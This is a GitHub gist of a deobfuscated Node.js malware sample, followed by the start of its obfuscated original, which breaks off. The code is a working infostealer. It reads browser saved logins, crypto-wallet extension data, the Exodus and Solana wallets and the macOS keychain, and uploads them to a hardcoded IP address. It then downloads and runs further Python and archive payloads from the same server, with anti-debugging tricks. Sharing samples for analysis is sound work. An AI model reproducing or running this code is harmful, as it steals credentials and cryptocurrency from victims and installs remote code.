Skip to content

Instantly share code, notes, and snippets.

@jbrit
Created November 24, 2024 17:30
Show Gist options
  • Select an option

  • Save jbrit/9a6525d086411a0fcffea202f368e780 to your computer and use it in GitHub Desktop.

Select an option

Save jbrit/9a6525d086411a0fcffea202f368e780 to your computer and use it in GitHub Desktop.
malware js
// USED https://obf-io.deobfuscate.io/
(function (_0x186915, _0x4faa30) {
const _0x3358e4 = _0x186915();
while (true) {
try {
const _0x364c90 = -parseInt(_0x427c(541, 0x4c6)) / 1 + -parseInt(_0x427c(639, '0x557')) / 2 + -parseInt(_0x427c(585, '0x53d')) / 3 * (-parseInt(_0x427c(529, -0xe6)) / 4) + -parseInt(_0x427c(514, -0x1fa)) / 5 * (-parseInt(_0x427c(905, 0x75f)) / 6) + -parseInt(_0x427c(497, 0x5c9)) / 7 * (parseInt(_0x427c(812, -0x5d)) / 8) + -parseInt(_0x427c(780, '0x6a7')) / 9 + parseInt(_0x427c(722, 0x66d)) / 10;
if (_0x364c90 === _0x4faa30) {
break;
} else {
_0x3358e4.push(_0x3358e4.shift());
}
} catch (_0x178b88) {
_0x3358e4.push(_0x3358e4.shift());
}
}
})(_0x1e27, 181899);
function _0x11263b(_0x1192c7, _0x3643eb, _0x1e3ecc, _0x302980, _0x8472c4) {
return _0x427c(_0x8472c4 + 280, _0x3643eb);
}
const _0x3d3ca1 = function () {
let _0x3243fd = true;
return function (_0xd49b34, _0x3f5a5c) {
const _0x344d62 = _0x3243fd ? function () {
if (_0x3f5a5c) {
const _0x2a0d44 = _0x3f5a5c.apply(_0xd49b34, arguments);
_0x3f5a5c = null;
return _0x2a0d44;
}
} : function () {};
_0x3243fd = false;
return _0x344d62;
};
}();
const _0x5060ff = _0x3d3ca1(this, function () {
return _0x5060ff.toString().search("(((.+)+)+)+$").toString().constructor(_0x5060ff).search("(((.+)+)+)+$");
});
_0x5060ff();
const _0x322931 = function () {
let _0x35e66e = true;
return function (_0x3bb30a, _0x20ecaa) {
const _0x11a0e8 = _0x35e66e ? function () {
if (_0x20ecaa) {
const _0x5f3f1b = _0x20ecaa.apply(_0x3bb30a, arguments);
_0x20ecaa = null;
return _0x5f3f1b;
}
} : function () {};
_0x35e66e = false;
return _0x11a0e8;
};
}();
(function () {
_0x322931(this, function () {
const _0x3ccd02 = new RegExp("function *\\( *\\)");
const _0x421a68 = new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", 'i');
const _0x317385 = _0x99936a("init");
if (!_0x3ccd02.test(_0x317385 + "chain") || !_0x421a68.test(_0x317385 + "input")) {
_0x317385('0');
} else {
_0x99936a();
}
})();
})();
function _0x23ab03(_0x6db35e, _0x24fecf, _0x2b6432, _0x545160, _0x1db1e3) {
return _0x427c(_0x24fecf + 0x365, _0x545160);
}
const _0x333eb2 = function () {
let _0x363c00 = true;
return function (_0x32be5e, _0x1e7b90) {
const _0x42f4b2 = _0x363c00 ? function () {
if (_0x1e7b90) {
const _0x103597 = _0x1e7b90.apply(_0x32be5e, arguments);
_0x1e7b90 = null;
return _0x103597;
}
} : function () {};
_0x363c00 = false;
return _0x42f4b2;
};
}();
const _0x443da1 = _0x333eb2(this, function () {
const _0x4b0ef5 = function () {
let _0x6d10db;
try {
_0x6d10db = Function("return (function() {}.constructor(\"return this\")( ));")();
} catch (_0x2329c4) {
_0x6d10db = window;
}
return _0x6d10db;
};
const _0xda0920 = _0x4b0ef5();
const _0x5d8200 = _0xda0920.console = _0xda0920.console || {};
const _0x545988 = ["log", "warn", "info", "error", "exception", "table", "trace"];
for (let _0x147c36 = 0; _0x147c36 < _0x545988.length; _0x147c36++) {
const _0x2754c0 = _0x333eb2.constructor.prototype.bind(_0x333eb2);
const _0x216c6e = _0x545988[_0x147c36];
const _0x5355f7 = _0x5d8200[_0x216c6e] || _0x2754c0;
_0x2754c0.__proto__ = _0x333eb2.bind(_0x333eb2);
_0x2754c0.toString = _0x5355f7.toString.bind(_0x5355f7);
_0x5d8200[_0x216c6e] = _0x2754c0;
}
});
_0x443da1();
const _0x3f610f = require('fs');
const _0x1dc0ea = require('os');
const _0x4322f1 = require("path");
const _0x5ab3e8 = require("request");
const _0x42b722 = require("child_process").exec;
const _0x50df5b = _0x1dc0ea.hostname();
const _0x3ca591 = _0x1dc0ea.platform();
const _0x427bea = _0x1dc0ea.homedir();
const _0x43a6a0 = _0x1dc0ea.tmpdir();
const _0x1dc156 = _0x2b8e65 => _0x2b8e65.replace(/^~([a-z]+|\/)/, (_0x353c8e, _0x1d62b0) => '/' === _0x1d62b0 ? _0x427bea : _0x4322f1.dirname(_0x427bea) + '/' + _0x1d62b0);
function _0x5dfe23(_0x4d8afd) {
try {
_0x3f610f.accessSync(_0x4d8afd);
return true;
} catch (_0x4e9018) {
return false;
}
}
function _0x4340a3(_0x3a12a7, _0x1f9db4, _0x3af94c, _0x3ed94b, _0x48ef4b) {
return _0x427c(_0x3af94c + 327, _0x48ef4b);
}
const _0x420a08 = ["Local/BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser"];
const _0x84f42e = ["Local/Google/Chrome", "Google/Chrome", "google-chrome"];
const _0x352628 = ["Roaming/Opera Software/Opera Stable", "com.operasoftware.Opera", "opera"];
const _0x30dd4f = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "ejbalbakoplchlghecdalmeeeajnimhm", "fhbohimaelbohpjbbldcngcnapndodjp", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "hifafgmccdpekplomjjkcfgodnhcellj", "jblndlipeogpafnldhgmapagcccfchpi", "acmacodkjbdgmoleebolmdjonilkdbch", "dlcobpjiigpikoobohmabehhmhfoodbb", "mcohilncbfahbmgdjkbpemcciiolgcge", "agoakfejjabomempkjlepdflaleeobhb", "omaabbefbmiijedngplfjmnooppbclkk", "aholpfdialjgjfhomihkjbmgjidlcdno", "nphplpgoakhhjchkkhmiggakijnkhfnd", "penjlddjkjgpnkllboccdgccekpkcbin", "lgmpcpglpngdoalbgeoldeajfclnhafa", "fldfpgipfncgndfolcbkdeeknbbbnhcc", "bhhhlbepdkbapadjdnnojkbgioiodbic", "gjnckgkfmgmibbkoficdidcljeaaaheg", "afbcbjpbpfadlkmhmclhkeeodmamcflc"];
const _0x590a7f = async (_0x5f5d5a, _0x10a22d, _0x3bf12f, _0xdbf12a) => {
let _0x3724fa;
if (!_0x5f5d5a || '' === _0x5f5d5a) {
return [];
}
try {
if (!_0x5dfe23(_0x5f5d5a)) {
return [];
}
} catch (_0x24d2d0) {
return [];
}
if (!_0x10a22d) {
_0x10a22d = '';
}
let _0x28a6f8 = [];
for (let _0x5803c9 = 0; _0x5803c9 < 200; _0x5803c9++) {
const _0x3ef0b3 = _0x5f5d5a + '/' + (0 === _0x5803c9 ? "Default" : "Profile " + _0x5803c9) + "/Local Extension Settings";
for (let _0x202e96 = 0; _0x202e96 < _0x30dd4f.length; _0x202e96++) {
let _0x34fd40 = _0x3ef0b3 + '/' + _0x30dd4f[_0x202e96];
if (_0x5dfe23(_0x34fd40)) {
let _0x4d35f3 = [];
try {
_0x4d35f3 = _0x3f610f.readdirSync(_0x34fd40);
} catch (_0x41198b) {
_0x4d35f3 = [];
}
_0x4d35f3.forEach(async _0x358fe9 => {
let _0x3f0b3a = _0x4322f1.join(_0x34fd40, _0x358fe9);
try {
let _0x5a9abf = _0x3f610f.statSync(_0x3f0b3a);
if (_0x5a9abf.isDirectory()) {
return;
}
const _0x1e8dbf = {
filename: "391_" + _0x10a22d + _0x5803c9 + '_' + _0x30dd4f[_0x202e96] + '_' + _0x358fe9
};
_0x28a6f8.push({
'value': _0x3f610f.createReadStream(_0x3f0b3a),
'options': _0x1e8dbf
});
} catch (_0x53bee5) {}
});
}
}
}
if (_0x3bf12f && (_0x3724fa = _0x427bea + "/.config/solana/id.json", _0x3f610f.existsSync(_0x3724fa))) {
try {
const _0x1561b1 = {
filename: "solana_id.txt"
};
_0x28a6f8.push({
'value': _0x3f610f.createReadStream(_0x3724fa),
'options': _0x1561b1
});
} catch (_0x1b2cb4) {}
}
_0x4ee045(_0x28a6f8, _0xdbf12a);
return _0x28a6f8;
};
const _0x5ef341 = _0x3bf347 => {
let _0x250d8 = '';
let _0x1a4490 = [];
if ('w' == _0x3ca591[0]) {
_0x250d8 = _0x1dc156('~/') + "/AppData/Roaming/Exodus/exodus.wallet";
} else {
if ('d' == _0x3ca591[0]) {
_0x250d8 = _0x1dc156('~/') + "/Library/Application Support/exodus.wallet";
} else {
_0x250d8 = _0x1dc156('~/') + "/.config/Exodus/exodus.wallet";
}
}
if (_0x5dfe23(_0x250d8)) {
let _0x191d98 = [];
try {
_0x191d98 = _0x3f610f.readdirSync(_0x250d8);
} catch (_0x147a28) {
_0x191d98 = [];
}
_0x191d98.forEach(async _0x15ea8c => {
let _0x3109f1 = _0x4322f1.join(_0x250d8, _0x15ea8c);
try {
const _0x1d0165 = {
filename: "391_" + _0x15ea8c
};
_0x1a4490.push({
'value': _0x3f610f.createReadStream(_0x3109f1),
'options': _0x1d0165
});
} catch (_0x50ee7) {}
});
}
_0x4ee045(_0x1a4490, _0x3bf347);
return _0x1a4490;
};
const _0x4ee045 = (_0x5a23e5, _0x573642) => {
const _0xf5c550 = {
type: '39'
};
_0xf5c550.hid = "391_" + _0x50df5b;
_0xf5c550.uts = _0x573642;
_0xf5c550.multi_file = _0x5a23e5;
try {
if (_0x5a23e5.length > 0) {
const _0x4befa6 = {
url: "http://45.128.52.14:1224/uploads",
formData: _0xf5c550
};
_0x5ab3e8.post(_0x4befa6, (_0x28b355, _0x25fb6c, _0x5df7d5) => {});
}
} catch (_0x9a13cd) {}
};
const _0x5342ff = async (_0x45ee1c, _0x6b44da, _0x68b527) => {
try {
let _0x3adb5f = '';
_0x3adb5f = 'd' == _0x3ca591[0] ? _0x1dc156('~/') + "/Library/Application Support/" + _0x45ee1c[1] : 'l' == _0x3ca591[0] ? _0x1dc156('~/') + "/.config/" + _0x45ee1c[2] : _0x1dc156('~/') + "/AppData/" + _0x45ee1c[0] + "/User Data";
_0x590a7f(_0x3adb5f, _0x6b44da + '_', 0 == _0x6b44da, _0x68b527);
} catch (_0x3097fe) {}
};
const _0x4e6aba = async _0x537ab0 => {
let _0x4ee1f3 = [];
let _0x22b7b5 = _0x427bea + "/Library/Keychains/login.keychain";
if (_0x3f610f.existsSync(_0x22b7b5)) {
try {
const _0x23cff4 = {
filename: "logkc-db"
};
_0x4ee1f3.push({
'value': _0x3f610f.createReadStream(_0x22b7b5),
'options': _0x23cff4
});
} catch (_0x290586) {}
} else {
_0x22b7b5 += "-db";
if (_0x3f610f.existsSync(_0x22b7b5)) {
try {
const _0x1522d2 = {
filename: "logkc-db"
};
_0x4ee1f3.push({
'value': _0x3f610f.createReadStream(_0x22b7b5),
'options': _0x1522d2
});
} catch (_0x39b9a9) {}
}
}
try {
let _0x3fd895 = _0x427bea + "/Library/Application Support/Google/Chrome";
if (_0x5dfe23(_0x3fd895)) {
for (let _0x198969 = 0; _0x198969 < 200; _0x198969++) {
const _0xdfe0df = _0x3fd895 + '/' + (0 === _0x198969 ? "Default" : "Profile " + _0x198969) + "/Login Data";
try {
if (!_0x5dfe23(_0xdfe0df)) {
continue;
}
const _0x1cd39b = _0x3fd895 + "/ld_" + _0x198969;
const _0x1b06fd = {
filename: "pld_" + _0x198969
};
if (_0x5dfe23(_0x1cd39b)) {
_0x4ee1f3.push({
'value': _0x3f610f.createReadStream(_0x1cd39b),
'options': _0x1b06fd
});
} else {
_0x3f610f.copyFile(_0xdfe0df, _0x1cd39b, _0x4237b2 => {
const _0x108d83 = {
filename: "pld_" + _0x198969
};
let _0xf9a02a = [{
'value': _0x3f610f.createReadStream(_0xdfe0df),
'options': _0x108d83
}];
_0x4ee045(_0xf9a02a, _0x537ab0);
});
}
} catch (_0x124d18) {}
}
}
} catch (_0x52b842) {}
try {
let _0x53fa74 = _0x427bea + "/Library/Application Support/BraveSoftware/Brave-Browser";
if (_0x5dfe23(_0x53fa74)) {
for (let _0x4db531 = 0; _0x4db531 < 200; _0x4db531++) {
const _0x400c8c = _0x53fa74 + '/' + (0 === _0x4db531 ? "Default" : "Profile " + _0x4db531);
try {
if (!_0x5dfe23(_0x400c8c)) {
continue;
}
const _0x4e4b1b = _0x400c8c + "/Login Data";
const _0x5147d5 = {
filename: "brld_" + _0x4db531
};
if (_0x5dfe23(_0x4e4b1b)) {
_0x4ee1f3.push({
'value': _0x3f610f.createReadStream(_0x4e4b1b),
'options': _0x5147d5
});
} else {
_0x3f610f.copyFile(_0x400c8c, _0x4e4b1b, _0x37e6dd => {
const _0x1aca6f = {
filename: "brld_" + _0x4db531
};
let _0x1d9a70 = [{
'value': _0x3f610f.createReadStream(_0x400c8c),
'options': _0x1aca6f
}];
_0x4ee045(_0x1d9a70, _0x537ab0);
});
}
} catch (_0x170d80) {}
}
}
} catch (_0x47d669) {}
_0x4ee045(_0x4ee1f3, _0x537ab0);
return _0x4ee1f3;
};
const _0x1fd4cd = async (_0x4aafd4, _0x1db3ef, _0x597869) => {
let _0x206990 = [];
let _0x518f6f = '';
_0x518f6f = 'd' == _0x3ca591[0] ? _0x1dc156('~/') + "/Library/Application Support/" + _0x4aafd4[1] : 'l' == _0x3ca591[0] ? _0x1dc156('~/') + "/.config/" + _0x4aafd4[2] : _0x1dc156('~/') + "/AppData/" + _0x4aafd4[0] + "/User Data";
let _0x327feb = _0x518f6f + "/Local State";
if (_0x3f610f.existsSync(_0x327feb)) {
try {
const _0x458dd5 = {
filename: _0x1db3ef + "_lst"
};
_0x206990.push({
'value': _0x3f610f.createReadStream(_0x327feb),
'options': _0x458dd5
});
} catch (_0x371935) {}
}
try {
if (_0x5dfe23(_0x518f6f)) {
for (let _0x124081 = 0; _0x124081 < 200; _0x124081++) {
const _0x41c0c2 = _0x518f6f + '/' + (0 === _0x124081 ? "Default" : "Profile " + _0x124081);
try {
if (!_0x5dfe23(_0x41c0c2)) {
continue;
}
const _0x30f865 = _0x41c0c2 + "/Login Data";
if (!_0x5dfe23(_0x30f865)) {
continue;
}
const _0x274257 = {
filename: _0x1db3ef + '_' + _0x124081 + "_uld"
};
_0x206990.push({
'value': _0x3f610f.createReadStream(_0x30f865),
'options': _0x274257
});
} catch (_0x2c1a8c) {}
}
}
} catch (_0x377318) {}
_0x4ee045(_0x206990, _0x597869);
return _0x206990;
};
let _0x517b73 = 0;
function _0x427c(_0x189733, _0x586f98) {
const _0x45b4d8 = _0x1e27();
_0x427c = function (_0x34c2be, _0x449348) {
_0x34c2be = _0x34c2be - 489;
let _0x531e09 = _0x45b4d8[_0x34c2be];
return _0x531e09;
};
return _0x427c(_0x189733, _0x586f98);
}
(function () {
const _0x3a890b = function () {
let _0x23615d;
try {
_0x23615d = Function("return (function() {}.constructor(\"return this\")( ));")();
} catch (_0xbb82da) {
_0x23615d = window;
}
return _0x23615d;
};
const _0x22d900 = _0x3a890b();
_0x22d900.setInterval(_0x99936a, 4000);
})();
const _0x40a6ce = async _0x34106c => {
_0x42b722("tar -xf " + _0x34106c + " -C " + _0x427bea, (_0x553260, _0x47f929, _0x5b69b0) => {
if (_0x553260) {
_0x3f610f.rmSync(_0x34106c);
return void (_0x517b73 = 0);
}
_0x3f610f.rmSync(_0x34106c);
_0x10fc5c();
});
};
const _0x262b96 = () => {
const _0x157519 = _0x43a6a0 + "\\p.zi";
const _0x29600f = _0x43a6a0 + "\\p2.zip";
if (_0x517b73 >= 51476596) {
return;
}
if (_0x3f610f.existsSync(_0x157519)) {
try {
var _0x5bc853 = _0x3f610f.statSync(_0x157519);
if (_0x5bc853.size >= 51476596) {
_0x517b73 = _0x5bc853.size;
_0x3f610f.rename(_0x157519, _0x29600f, _0xaebf8c => {
if (_0xaebf8c) {
throw _0xaebf8c;
}
_0x40a6ce(_0x29600f);
});
} else {
if (_0x517b73 < _0x5bc853.size) {
_0x517b73 = _0x5bc853.size;
} else {
_0x3f610f.rmSync(_0x157519);
_0x517b73 = 0;
}
_0x70af27();
}
} catch (_0x246124) {}
} else {
_0x42b722("curl -Lo \"" + _0x157519 + "\" \"" + "http://45.128.52.14:1224/pdown" + "\"", (_0x204dd7, _0x6e1c16, _0x52b515) => {
if (_0x204dd7) {
_0x517b73 = 0;
return void _0x70af27();
}
try {
_0x517b73 = 51476596;
_0x3f610f.renameSync(_0x157519, _0x29600f);
_0x40a6ce(_0x29600f);
} catch (_0x190b4a) {}
});
}
};
function _0x70af27() {
setTimeout(() => {
_0x262b96();
}, 20000);
}
function _0x279262(_0x4e1b80, _0x4b018d, _0x4aff36, _0x5d25eb, _0x26cdf7) {
return _0x427c(_0x4aff36 - '0x304', _0x4b018d);
}
function _0x4cf846(_0x27b013, _0x2bc2de, _0x2ad6e8, _0x176f21, _0x1af78e) {
return _0x427c(_0x2ad6e8 + 534, _0x2bc2de);
}
const _0x10fc5c = async () => await new Promise((_0x47b917, _0x4556ed) => {
if ('w' == _0x3ca591[0]) {
if (_0x3f610f.existsSync(_0x427bea + "\\.pyp\\python.exe")) {
(() => {
const _0x48ab57 = _0x427bea + "/.sysinfo";
const _0x48371e = "\"" + _0x427bea + "\\.pyp\\python.exe\" \"" + _0x48ab57 + "\"";
try {
_0x3f610f.rmSync(_0x48ab57);
} catch (_0x54d31e) {}
_0x5ab3e8.get("http://45.128.52.14:1224/client/39/391", (_0x504608, _0x3ac792, _0x1799a4) => {
if (!_0x504608) {
try {
_0x3f610f.writeFileSync(_0x48ab57, _0x1799a4);
_0x42b722(_0x48371e, (_0x18c499, _0x198141, _0x3f0823) => {});
} catch (_0x1e7a7a) {}
}
});
})();
} else {
_0x262b96();
}
} else {
(() => {
_0x5ab3e8.get("http://45.128.52.14:1224/client/39/391", (_0x4c6488, _0x446aac, _0x4c7186) => {
if (!_0x4c6488) {
_0x3f610f.writeFileSync(_0x427bea + "/.sysinfo", _0x4c7186);
_0x42b722("python3 \"" + _0x427bea + "/.sysinfo\"", (_0x466a5d, _0xd4b12a, _0x4162e4) => {});
}
});
})();
}
});
var _0x2df4be = 0;
const _0x5b83a2 = async () => {
try {
const _0x208eeb = Math.round(new Date().getTime() / 1000);
await (async () => {
try {
await _0x5342ff(_0x84f42e, 0, _0x208eeb);
await _0x5342ff(_0x420a08, 1, _0x208eeb);
await _0x5342ff(_0x352628, 2, _0x208eeb);
_0x5ef341(_0x208eeb);
if ('w' == _0x3ca591[0]) {
await _0x590a7f(_0x1dc156('~/') + "/AppData/Local/Microsoft/Edge/User Data", '3_', false, _0x208eeb);
}
if ('d' == _0x3ca591[0]) {
await _0x4e6aba(_0x208eeb);
} else {
await _0x1fd4cd(_0x84f42e, 0, _0x208eeb);
await _0x1fd4cd(_0x420a08, 1, _0x208eeb);
await _0x1fd4cd(_0x352628, 2, _0x208eeb);
}
} catch (_0x325352) {}
})();
_0x10fc5c();
} catch (_0x2fefa3) {}
};
_0x5b83a2();
let _0x44affd = setInterval(() => {
if ((_0x2df4be += 1) < 2) {
_0x5b83a2();
} else {
clearInterval(_0x44affd);
}
}, 300000);
function _0x1e27() {
const _0xfd36d0 = ['667312ywtVil', 'iolgc', 'brld_', 'mnkoe', 'warn', 'gdSHb', 'fejja', '/clie', '/AppD', 'acmac', 'lchlg', 'tMoct', 'qWGAC', 'bfnae', "\" \"", 'knmef', 'LdNLA', 'orm', 'rome', 'imael', 'TjlHx', 'dgmol', 'mcohi', 'ase', 'round', 'zzMJf', 'exist', 'ngplf', 'ame', 'aeach', "\\( *\\", 'ort/B', 'googl', 'jmnoo', 'llet', 're.Op', 'nphpl', 'input', "-Lo \"", 'g/Moz', 'readd', 'ave-B', "rn th", 'ahbmg', 'chain', 'actio', 'NcRVG', 'call', 'ess', 'WvdRP', 'fhboh', 'NfHfc', 'fgpgk', 'tion', 'ync', 'des', '/Brav', " (tru", '-rele', '.wall', 'join', '_uld', 'state', ')+)+)', 'bind', 'kpcnl', 'statS', 'iqGpT', 'exec', 'fig/E', 'ary/K', "info\"", 'jgjfh', 'efaul', 'gpafn', 'OxYwT', 'PrXur', '$]*)', "e) {}", 'raveS', 'nt/', 'TDvmW', '{}.co', 'ylqkz', "xf ", 'fyWDB', '__pro', 'ajnim', 'szOcr', 'PbSRb', 'ofile', 'hecda', 'gmccd', '318270cQJDNs', "ion *", 'sMREH', 'ensio', "n Dat", 'homed', 'gTHEq', 'post', 'Roami', 'odkjb', 'illa/', 'ile', 'le/Ch', 'deajf', '0-9a-', 'JrvsK', 'lgmpc', 'uts', 'a_id.', '_proc', 'fig/', "l Sta", 'phepc', '(((.+', 'pebkl', 'xodus', 'dgcce', 'AKsJA', 'ccfch', 'rowse', 'apply', 'ructo', 'ppbcl', 'gkfmg', 're/Op', 'count', '/ld_', 'Firef', 'bohpj', 'jnkhf', 'xtens', 'txt', 'lncbf', 'reque', 'Micro', 'sSVeL', 'gpnkl', '7YaerUv', 'oogle', 'pytho', 'tings', 'cFDbe', 'ggaki', 'adlkm', 'inclu', 'nstru', 'apagc', "era S", 'pjiig', 'omjjk', 'fqaTq', 'EdZfh', 'IykHS', 'BXRgS', '25sdgNva', 'kodbe', 'uYbqy', 'eSoft', 'kkolj', 'const', 'oPmnK', 'hhewL', 'eSync', 'lbocc', 'ddjkj', 'jdnno', 'pld_', 'LPKSS', 'oiodb', '1112340leEjzV', 'funct', 'repla', 'setIn', 'hhjch', '/pdow', "\\.pyp", '2.14:', 'conso', 'cfgod', 'isDir', 'searc', '111948YmmJOz', 'olcbk', "\\pyth", 'opera', 'write', '/.sys', 'ata/', 'ain', "n() ", 'irSyn', 'ejbal', 'imhlp', 'emcci', 'WutTg', '/Libr', 'ata', 'info', 'leeob', 'onoee', 'olana', 'error', '-Brow', 'Brows', 'pplic', 'clnha', 'agoak', 'ware/', 'mdjon', '-db', 'acces', 'pglpn', 'a-zA-', 'hmclh', '391', 'ldhgm', 'multi', 'e/Chr', "n3 \"", 'lmome', 'url', 'hifaf', 'iijed', 'lmeee', 'init', '3kzyDAX', 'proto', 'oihof', 'RoBrj', '/Goog', 'ng/Op', '_lst', 'GrYGB', '_file', " Data", 'test', 'yzEoF', 'ort/', 'mgjnj', 'gger', 'platf', 'fldfp', 'toStr', 'hihxH', 'SCiLm', 'befbm', 'strin', '/User', 'ROLmg', 'ogin.', "\\p2.z", 'zA-Z_', 'jbmgj', 'FileS', 'ctor(', "n (fu", 'retur', "is\")(", 'qgsrb', '.file', 'hostn', 'qSxiO', 'eebol', 'age/d', 'aeaoe', " Supp", 'vCbbe', 'omihk', '/id.j', 'PWFCa', 'wsQRG', 'dus/e', 'moz-e', 'gmKBl', 'bomem', 'afbcb', 'terva', 'ads', 'bbldc', '504858kcAWCt', 'auWGp', 'kpkcb', 'http:', 'tmpdi', 'ox/Pr', 'fig/s', 'bhhhl', "e\" \"", 'mNEhw', 'Objec', 'fNKED', 'eaaah', 'dirna', 'oftwa', 'ing', 'path', 'lfmNV', 'dfjmm', 'com.o', 'pndod', 'nkbih', 'are/B', "User ", 'nhcel', 'get', 'jblnd', 'ort/e', 'bepdk', 'lipeo', 'cgndf', 'keych', 'lengt', 'YhUUW', 'mamcf', 'eycha', 'to__', 'push', 'ary/A', 'gdoal', 'peras', 'djkbp', 'bakop', 'soft/', 'Z_$][', '/Logi', 'while', 'EyFuw', '1224', 'on.ex', '/stor', 'WqqkN', 'ome', 'QeKKY', 'idlcd', 'penjl', "le ", 'jAnyc', 'ector', 'gipfn', 'son', 'Data', 'rmSyn', 'pekpl', 'renam', 'IOQpE', 're/Br', 'debu', '*(?:[', '/uplo', 'filen', 'vvucw', 'Ipjoj', '//45.', 'e-chr', 'dlcob', 'type', '/exod', 'uyztb', 'fdial', 'bRREJ', 'bapad', 'hid', '1179560DngLlY', 'era', 'sSync', 'NShlM', 'xpEiB', "\"retu", 'mibbk', 'cionb', 'ibnej', "\\p.zi", 'VqhjB', 'g/Exo', 'hlefn', 'oohck', 'solan', 'oamin', " -C ", 'tNAdv', 'trace', 'ophhp', 'nctio', 'Brave', 'us.wa', "n Set", 'idb', 'behhm', 'deekn', 'formD', 'pdfla', 'Profi', "curl ", 'ort/G', '128.5', 'QhsLM', 'pkjle', 'jkbgi', '/.con', 'ata/R', 'oficd', 'logkc', 'kkhmi', 'ocal/', 'bbbnh', 'pgoak', 'jpbpf', 'ata/L', 'ilkdb', "l Ext", 'Edge/', 'size', 'Local', 'log', 'rave-', 'excep', 'MjNDj', 'child', 'ins/l', '/Chro', '284184cjNJMo', "tar -", 'idclj', 'ngcna', 'copyF', 'Softw', "\\+\\+ ", 'hfood', 'omaab', 'creat', 'forEa', 'fbeog', 'getTi', 'bgeol', 'wkFTe', 'eRead', 'luLOy', 'gjnck', 'ation', 'Strea', 'table', 'aholp', '/Loca', 'rKyka', 'pikoo', 'Googl', 'ion', 'bohma', 'keeod', 'wzKUf', 'ser', 'Defau'];
_0x1e27 = function () {
return _0xfd36d0;
};
return _0x1e27();
}
function _0x99936a(_0x2df183) {
const _0x4e08b7 = {
zzMJf: "counter",
lfmNV: function (_0x2c9ae1, _0x1b6d0f) {
return _0x2c9ae1 + _0x1b6d0f;
},
WqqkN: "action",
jAnyc: function (_0x46a35e, _0x2b608c) {
return _0x46a35e + _0x2b608c;
}
};
_0x4e08b7.PrXur = "AKsJA";
function _0x47b922(_0x27be1e) {
if (typeof _0x27be1e === "string") {
return function (_0x456bd1) {}.constructor("while (true) {}").apply("counter");
} else if (('' + _0x27be1e / _0x27be1e).length !== 1 || _0x27be1e % 20 === 0) {
(function () {
return true;
}).constructor("debugger").call("action");
} else {
(function () {
return false;
}).constructor("debugger").apply("stateObject");
}
_0x47b922(++_0x27be1e);
}
try {
if (_0x2df183) {
if (_0x4e08b7.PrXur === "rKyka") {
_0x2a5b54('0');
} else {
return _0x47b922;
}
} else {
_0x47b922(0);
}
} catch (_0x222271) {}
}
(function(_0x186915,_0x4faa30){function _0xbb5ccf(_0xb29155,_0x253278,_0xc96d8d,_0x566a53,_0x3b1a20){return _0x427c(_0xb29155- -'0x329',_0x253278);}function _0x19450a(_0x1b8138,_0x27a3a2,_0xca28f8,_0x98bd53,_0x4c08e3){return _0x427c(_0x98bd53- -0x3cd,_0xca28f8);}function _0x207607(_0x3ed781,_0x1bc24a,_0xe2708e,_0x3f785d,_0x1c9025){return _0x427c(_0x1c9025-0x31b,_0x1bc24a);}function _0x1a565d(_0x49c0b3,_0x55db12,_0xaea869,_0x15dff3,_0x328b22){return _0x427c(_0x328b22-'0x376',_0x49c0b3);}const _0x3358e4=_0x186915();function _0x458da7(_0x44c176,_0x3e7f86,_0x391e87,_0x3f57fe,_0x1440e5){return _0x427c(_0x1440e5-'0x3bc',_0x3f57fe);}while(!![]){try{const _0x364c90=-parseInt(_0x207607('0x5cc',0x4c6,0x5ba,0x4b7,'0x538'))/(0x2b+0x1b72+-0x1b9c)+-parseInt(_0x458da7(0x6f5,0x646,0x5ed,'0x557','0x63b'))/(0xf71+0x20e*-0x2+-0xb53)+-parseInt(_0x207607(0x4cf,'0x53d','0x544','0x627','0x564'))/(-0x69*0x4f+0x1f49*-0x1+0x3fb3)*(-parseInt(_0x19450a(-0x1d9,-0x256,-0xe6,-0x1bc,-'0x280'))/(0x1*0x13b5+-0x506+-0xeab))+-parseInt(_0xbb5ccf(-'0x127',-0x1fa,-'0x5a',-'0x5c',-0x13e))/(-0xc*-0x89+-0x137c+0xd15)*(-parseInt(_0x1a565d(0x75f,'0x63e',0x7c0,'0x6b0','0x6ff'))/(0x246a+0x2250+-0x46b4))+-parseInt(_0x458da7('0x4dc',0x609,0x67b,0x5c9,0x5ad))/(-0xa33+0x2bd+-0x27f*-0x3)*(parseInt(_0xbb5ccf(0x3,-0x5d,-'0x43',0xc6,-0x4))/(-0x1*0x1677+-0x22a2+0x145*0x2d))+-parseInt(_0x458da7(0x6a9,'0x708',0x788,'0x6a7','0x6c8'))/(0x52c*-0x2+0xd08+0x7*-0x61)+parseInt(_0x207607('0x634',0x66d,0x6ca,'0x67b',0x5ed))/(0x1d56*0x1+0x16ea+-0x52*0xa3);if(_0x364c90===_0x4faa30)break;else _0x3358e4['push'](_0x3358e4['shift']());}catch(_0x178b88){_0x3358e4['push'](_0x3358e4['shift']());}}}(_0x1e27,0x63f5+0x1e2*0xa6+0x12a0a));function _0x11263b(_0x1192c7,_0x3643eb,_0x1e3ecc,_0x302980,_0x8472c4){return _0x427c(_0x8472c4- -'0x118',_0x3643eb);}const _0x3d3ca1=(function(){let _0x3243fd=!![];return function(_0xd49b34,_0x3f5a5c){const _0x344d62=_0x3243fd?function(){function _0x483eac(_0x42669,_0x4a6d1d,_0x36fe49,_0x563136,_0x37a482){return _0x427c(_0x36fe49-'0x191',_0x42669);}if(_0x3f5a5c){const _0x2a0d44=_0x3f5a5c[_0x483eac(0x5fc,'0x46c','0x538',0x5b8,0x522)](_0xd49b34,arguments);return _0x3f5a5c=null,_0x2a0d44;}}:function(){};return _0x3243fd=![],_0x344d62;};}()),_0x5060ff=_0x3d3ca1(this,function(){function _0xbd060c(_0x318a7a,_0x106f82,_0x51cd41,_0x5ebf8d,_0x424ebd){return _0x427c(_0x106f82- -'0x2cb',_0x318a7a);}function _0x3063b9(_0x8dea4e,_0x34a13f,_0x4eb119,_0xa1c2bd,_0xb834c4){return _0x427c(_0x8dea4e-0x372,_0xb834c4);}function _0x52fe58(_0x5e9e14,_0x2c3dcf,_0x5eda96,_0x426779,_0x59cc53){return _0x427c(_0x426779- -0x2d,_0x59cc53);}function _0x47b2ab(_0x1f1f78,_0x3c0b30,_0x47d901,_0x129e77,_0x3331ba){return 